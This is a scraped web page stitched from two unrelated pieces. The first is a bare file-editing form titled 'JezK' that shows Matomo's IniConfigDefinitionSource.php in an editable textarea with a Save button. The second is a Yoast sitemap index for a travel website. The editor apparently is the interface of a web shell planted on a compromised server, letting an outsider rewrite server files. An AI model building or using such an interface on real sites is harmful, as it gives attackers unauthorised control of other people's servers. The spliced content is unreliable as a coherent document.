
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: IniConfigDefinitionSource.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

/**
 * Matomo - free/libre analytics platform
 *
 * @link    https://matomo.org
 * @license https://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 */
namespace Piwik\Container;

use Matomo\Dependencies\DI\Definition\Exception\InvalidDefinition;
use Matomo\Dependencies\DI\Definition\Source\DefinitionSource;
use Matomo\Dependencies\DI\Definition\ValueDefinition;
use Piwik\Application\Kernel\GlobalSettingsProvider;
/**
 * Expose the INI config into PHP-DI.
 *
 * The INI config can be used by prefixing `ini.` before the setting we want to get:
 *
 *     $maintenanceMode = $container-&gt;get('ini.General.maintenance_mode');
 */
class IniConfigDefinitionSource implements DefinitionSource
{
    /**
     * @var GlobalSettingsProvider
     */
    private $config;
    /**
     * @var string
     */
    private $prefix;
    /**
     * @param GlobalSettingsProvider $config
     * @param string $prefix Prefix for the container entries.
     */
    public function __construct(GlobalSettingsProvider $config, $prefix = 'ini.')
    {
        $this-&gt;config = $config;
        $this-&gt;prefix = $prefix;
    }
    /**
     * {@inheritdoc}
     */
    public function getDefinition($name)
    {
        if (strpos($name, $this-&gt;prefix) !== 0) {
            return null;
        }
        list($sectionName, $configKey) = $this-&gt;parseEntryName($name);
        $section = $this-&gt;getSection($sectionName);
        if ($configKey === null) {
            $value = new ValueDefinition($section);
            $value-&gt;setName($name);
            return $value;
        }
        if (!array_key_exists($configKey, $section)) {
            return null;
        }
        $value = new ValueDefinition($section[$configKey]);
        $value-&gt;setName($name);
        return $value;
    }
    public function getDefinitions() : array
    {
        $result = [];
        foreach ($this-&gt;config as $section) {
            $value = new ValueDefinition($this-&gt;getSection($section));
            $value-&gt;setName($section);
            $result[$section] = $value;
        }
        return $result;
    }
    private function parseEntryName($name)
    {
        $parts = explode('.', $name, 3);
        array_shift($parts);
        if (!isset($parts[1])) {
            $parts[1] = null;
        }
        return $parts;
    }
    private function getSection($sectionName)
    {
        $section = $this-&gt;config-&gt;getSection($sectionName);
        if (!is_array($section)) {
            throw new InvalidDefinition(sprintf('IniFileChain did not return an array for the config section %s', $section));
        }
        return $section;
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ohmytrips.fr/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://ohmytrips.fr/post-sitemap.xml</loc>
		<lastmod>2026-09-26T17:32:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/page-sitemap.xml</loc>
		<lastmod>2026-09-25T15:37:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/category-sitemap.xml</loc>
		<lastmod>2026-09-26T17:32:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/author-sitemap.xml</loc>
		<lastmod>2025-10-07T21:23:02+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->